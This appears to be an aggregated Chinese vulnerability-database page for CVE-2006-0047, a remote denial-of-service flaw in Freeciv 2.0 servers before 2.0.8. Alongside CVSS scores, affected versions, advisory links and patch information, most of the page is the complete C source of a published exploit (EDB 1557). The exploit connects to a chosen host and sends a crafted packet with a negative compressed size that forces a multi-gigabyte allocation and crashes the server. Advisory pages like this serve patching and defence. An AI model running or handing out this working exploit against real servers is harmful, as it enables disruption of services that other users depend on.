CVE-2006-0047
CVSS5.0
发布时间 :2006-03-07 06:02:00
修订时间 :2011-08-25 00:00:00
NMCOES    

[原文]packets.c in Freeciv 2.0 before 2.0.8 allows remote attackers to cause a denial of service (server crash) via crafted packets with negative compressed size values.


[CNNVD]Freeciv 'packets.c'远程拒绝服务漏洞(CNNVD-200603-110)

        在Freeciv 2.0.8之前版本2.0 中存在packets.c,远程攻击者可以通过带负压缩尺寸值的伪数据包,制造拒绝服务(服务器崩溃)。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-399| CWE-20 []

- CPE (受影响的平台与产品)

cpe:/a:freeciv:freeciv:2.0.3
cpe:/a:freeciv:freeciv:2.0.5
cpe:/a:freeciv:freeciv:2.0.7
cpe:/a:freeciv:freeciv:2.0.6
cpe:/a:freeciv:freeciv:2.0.0
cpe:/a:freeciv:freeciv:2.0.4
cpe:/a:freeciv:freeciv:2.0.7a
cpe:/a:freeciv:freeciv:2.0.2
cpe:/a:freeciv:freeciv:2.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0047
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0047
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-110
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/16975
(PATCH)  BID  16975
http://www.securityfocus.com/archive/1/archive/1/426866/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060306 Out of memory crash in Freeciv 2.0.7
http://secunia.com/advisories/19120
(VENDOR_ADVISORY)  SECUNIA  19120
http://xforce.iss.net/xforce/xfdb/25166
(UNKNOWN)  XF  freeciv-packets-dos(25166)
http://www.vupen.com/english/advisories/2006/0838
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0838
http://www.mandriva.com/security/advisories?name=MDKSA-2006:053
(UNKNOWN)  MANDRIVA  MDKSA-2006:053
http://www.gentoo.org/security/en/glsa/glsa-200603-11.xml
(UNKNOWN)  GENTOO  GLSA-200603-11
http://www.debian.org/security/2006/dsa-994
(UNKNOWN)  DEBIAN  DSA-994
http://secunia.com/advisories/19253
(VENDOR_ADVISORY)  SECUNIA  19253
http://secunia.com/advisories/19227
(VENDOR_ADVISORY)  SECUNIA  19227
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=355211
(UNKNOWN)  CONFIRM  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=355211

- 漏洞信息

Freeciv 'packets.c'远程拒绝服务漏洞
中危 输入验证
2006-03-07 00:00:00 2006-03-14 00:00:00
远程  
        在Freeciv 2.0.8之前版本2.0 中存在packets.c,远程攻击者可以通过带负压缩尺寸值的伪数据包,制造拒绝服务(服务器崩溃)。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        Freeciv Freeciv 2.0.4
        Mandriva freeciv-client-2.0.4-2.1.20060mdk.i586.rpmMandriva Linux 2006.0:
        http://wwwnew.mandriva.com/en/downloads
        Mandriva freeciv-client-2.0.4-2.1.20060mdk.x86_64.rpmMandriva Linux 2006.0/X86_64:
        http://wwwnew.mandriva.com/en/downloads
        Mandriva freeciv-data-2.0.4-2.1.20060mdk.i586.rpmMandriva Linux 2006.0:
        http://wwwnew.mandriva.com/en/downloads
        Mandriva freeciv-data-2.0.4-2.1.20060mdk.x86_64.rpmMandriva Linux 2006.0/X86_64:
        http://wwwnew.mandriva.com/en/downloads
        Mandriva freeciv-server-2.0.4-2.1.20060mdk.i586.rpmMandriva Linux 2006.0:
        http://wwwnew.mandriva.com/en/downloads
        Mandriva freeciv-server-2.0.4-2.1.20060mdk.x86_64.rpmMandriva Linux 2006.0/X86_64:
        http://wwwnew.mandriva.com/en/downloads
        
        Freeciv Freeciv 2.0.7
        Freeciv freeciv-2.0.8.tar.gz
        http://prdownloads.sourceforge.net/freeciv/freeciv-2.0.8.tar.gz

- 漏洞信息 (1557)

Freeciv <= 2.0.7 (Jumbo Malloc) Denial of Service Crash (EDBID:1557)
windows dos
2006-03-06 Verified
0 Luigi Auriemma
N/A [点击下载]
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}



    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER             "0.1"
#define PORT            5555
#define JUMBO_SIZE      0xffff



u_int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    u_int   boomsz;
    int     sd,
            i;
    u_short port = PORT;
    u_char  buff[6];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    srand(time(NULL));
    setbuf(stdout, NULL);

    fputs("\n"
        "Freeciv <= 2.0.7 jumbo malloc crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    printf("- connect...");
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    printf(" done\n");

    boomsz = 6 + (rand() * 1234);
    for(;;) {
        if(!boomsz) boomsz++;
        if(boomsz > 0) boomsz = -boomsz;
        if((u_int)((boomsz - 6) * 100) > 0x7fffffff) break;
        boomsz *= 1234;     // more than 2 gigabytes, I want to be sure
    }

    *(u_short *)buff     = JUMBO_SIZE;
    *(u_int *)(buff + 2) = htonl(boomsz);

    //  int compressed_size = whole_packet_len - header_size;   // header_size = 6
    //  long int decompressed_size = 100 * compressed_size;

    printf("- send BOOM data (try to allocate %u bytes on the remote system)\n",
        (u_int)(ntohl(*(u_int *)(buff + 2)) - 6) * 100);
    if(send(sd, buff, 6, 0)
      < 0) std_err();

    printf("- wait some seconds:\n");
    for(i = 3; i >= 0; i--) {
        printf("%3d\r", i);
        sleep(ONESEC);
    }

    close(sd);
    printf(
        "- the server should be crashed or freezed, check it manually\n"
        "  if it's still online retry again with this tool or the server is patched\n"
        "\n");
    return(0);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2006-03-06]
		

- 漏洞信息

23667
Freeciv Crafted Jumbo Data Packet DoS
Denial of Service
Loss of Availability
Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-03-06 Unknow
2006-03-06 Unknow

- 解决方案

Upgrade to version 2.0.8 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Freeciv Remote Denial Of Service Vulnerability
Failure to Handle Exceptional Conditions 16975
Yes No
2006-03-06 12:00:00 2006-12-14 06:58:00
Discovery of this vulnerability is credited to Luigi Auriemma.

- 受影响的程序版本

Mandriva Linux Mandrake 2006.0 x86_64
Mandriva Linux Mandrake 2006.0
Gentoo Linux
Freeciv Freeciv 2.0.7
Freeciv Freeciv 2.0.4
Debian Linux 3.0 sparc
Debian Linux 3.0 s/390
Debian Linux 3.0 ppc
Debian Linux 3.0 mipsel
Debian Linux 3.0 mips
Debian Linux 3.0 m68k
Debian Linux 3.0 ia-64
Debian Linux 3.0 ia-32
Debian Linux 3.0 hppa
Debian Linux 3.0 arm
Debian Linux 3.0 alpha
Debian Linux 3.0
Freeciv Freeciv 2.0.8

- 不受影响的程序版本

Freeciv Freeciv 2.0.8

- 漏洞讨论

The Freeciv game server is reported prone to a remote denial-of-service vulnerability.

A remote attacker may exploit this issue to deny service for legitimate users.

- 漏洞利用

This issue can be exploited by sending a malformed large packet to an affected game server.

- 解决方案

The vendor has released an update to address this issue.

Please see the reference section for advisories and more information.


Freeciv Freeciv 2.0.4

Freeciv Freeciv 2.0.7

- 相关参考

 

 

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